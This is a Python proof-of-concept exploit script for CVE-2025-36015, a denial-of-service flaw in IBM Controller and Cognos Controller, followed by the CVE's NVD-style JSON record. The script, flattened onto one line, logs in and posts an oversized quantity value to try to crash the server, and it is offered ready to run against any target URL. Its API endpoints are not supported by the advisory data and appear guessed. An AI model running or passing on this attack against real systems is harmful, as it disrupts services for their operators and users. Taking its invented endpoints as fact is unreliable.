CVE-2025-36015

# CVE-2025-36015 PoC - IBM Controller DoS via Quantity Size Input # This PoC demonstrates improper validation of quantity size input # Note: This is for educational and testing purposes only import requests import sys def exploit_cve_2025_36015(target_url, username, password): """ Exploit for CVE-2025-36015 Attempts to trigger DoS via improper quantity size validation """ # Login to IBM Controller/Cognos Controller login_url = f"{target_url}/api/login" session = requests.Session() login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Attempt to trigger DoS via quantity size validation issue exploit_url = f"{target_url}/api/quantity/submit" # Malicious payload with excessive quantity size value exploit_data = { "quantitySize": 999999999999999999999, "itemId": 1, "operation": "submit" } response = session.post(exploit_url, json=exploit_data, timeout=10) # Check if DoS condition was triggered if response.status_code == 500 or response.status_code == 503: print("[+] DoS condition triggered successfully") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit attempt returned status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://ibm-controller.local admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2025-36015...") exploit_cve_2025_36015(target, user, pwd)

{"cve": {"id": "CVE-2025-36015", "sourceIdentifier": "[email protected]", "published": "2025-12-08T22:15:51.330", "lastModified": "2025-12-10T18:11:53.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Controller 11.1.0 through 11.1.1 and IBM Cognos Controller 11.0.0 through 11.0.1 FP6 could allow an authenticated user to cause a denial of service due to improper validation of a specified quantity size input."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cognos_controller:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.1.7", "matchCriteriaId": "010915B1-A0E9-4D01-8A86-3B771F2AD659"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:controller:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.1.0", "versionEndExcluding": "11.1.2", "matchCriteriaId": "24C24CEC-8494-4620-9F14-22D154D85866"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7253273", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}